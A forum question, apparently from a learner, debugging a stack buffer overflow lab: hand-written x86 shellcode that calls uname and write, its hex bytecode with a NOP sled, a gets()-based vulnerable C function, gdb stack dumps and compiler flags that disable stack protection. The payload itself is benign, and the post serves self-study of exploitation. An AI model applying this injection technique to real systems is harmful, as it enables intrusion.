I am trying to learn the basics in buffer overflow so I have written the following code to inject it in a buffer:
//uname(*buf)
"addl $-390, %esp;" //save space for buffer
"movl %esp, %ebx;" //ebx point to buffer
"xorl %eax, %eax;" //erase data in register
"addb $0x7a, %al;" //syscall number
"int $0x80;" //raise interruption
//write(fd, *buf, size)
"movb $0x04, %al;" //syscall number
"xorl %ebx, %ebx;" //erase data in register
"movb $0x01, %bl;" //add 1 as file descriptor
"lea 0x41(%esp), %ecx;" //get address where hostname is
"xorl %edx, %edx;" //erase data in register
"addb $0x05, %dl;" //set buffer size (as I only want "Kali" string)
"int $0x80;" //raise interruption
//exit(0)
"movb $0x01, %al;" //syscall number
"xorl %ebx, %ebx;" //set 0 in register
"int $0x80;" //raise interruption
The above code works and has the following bytecode (which also works):
\x81\xc4\x7a\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80
This string, with some NOPs and the address at the end pointing to the stack, is passed to the target program through the vulnerable get() function. When executed it can be seen that the uname syscall is called in the following output from strace command:
(...)
uname({sysname="Linux", nodename="kali", ...}) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault
What I don't understand is why when checking the core dump in gdb to see why is throwing a segmentation fault I can't see my bytecode anywhere of the entire stack. Could be that uname is overwriting it? Because in theory there is enough space, 390 bytes. Am I missing something?
Thank you
UPDATE:
The vulnerable function called by main looks like this:
void function() {
char buf[100];
gets(buf);
printf(buf);
}
I have done single stepping debug with gdb and the byte code is placed correctly in the stack but I can't (don't know how) debug instructions executed in the stack.
As can be seen in the output of strace (which indicates which syscalles are called by the binary) the last thing done is the uname call. That's why the theory that it is overwriting the instructions in the stack (the eip when the segmentation fault is triggered is: 0xbffff350).
Here the stack values when just before returning to main (in fact, it will return to the the top of the stack address):
(gdb) x/100bx 0xbffff300
0xbffff2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff300: 0x90 0x90 0x81 0xc4 0x7a 0xfe 0xff 0xff
0xbffff308: 0x89 0xe3 0x31 0xc0 0x04 0x7a 0xcd 0x80
0xbffff310: 0xb0 0x04 0x31 0xdb 0xb3 0x01 0x8d 0x4c
0xbffff318: 0x24 0x41 0x31 0xd2 0x80 0xc2 0x05 0xcd
0xbffff320: 0x80 0xb0 0x01 0x31 0xdb 0xcd 0x80 0x90
0xbffff328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
Also when running the executable and passing the bytecode in gdb (run < byteCodeFile) the segmentation fault is not triggered but an "exited normally" althought it doesn't print anything.
UPDATE2:
Also when running the executable and passing the bytecode in gdb (run < byteCodeFile) the segmentation fault is not triggered but an "exited normally" althought it doesn't print anything.
In fact it is printing something. Sometimes the word "kali" (so it works properly) and other times just a byte or two.
UPDATE3:
The ouput of gdb when started with the core dump is:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xbffff350 in ?? ()
It calls uname function and throws segmentation fault.
The ouput of gdb when running the program inside (run < byteCodeFile):
��[Inferior 1 (process 5271) exited normally]
So it prints something and then it exits.
The compilation of the program is done with this options:
gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o program program.c
UPDATE4:
I have changed 390 to 500 to be multiple of 4 as @Jester has pointed in the comments. Now it works in the terminal but not in the gdb and in a new terminal. I think it is related as the fact that they have another memory layout so the address at the end of the bytecode has to be changed.
Questions
1.- When gdb is not used to execute the vulnerable program why the segmentation fault is triggered and why the bytecode is not shown anywhere in the stack when analysing the core dump?
2.- When gdb is used to execute the program (run < byteCodeFile) why it gets different results? Uname will fill the buffer from esp (which is only modified at the begining) always with the same information so write should do it correctly always, isn't it?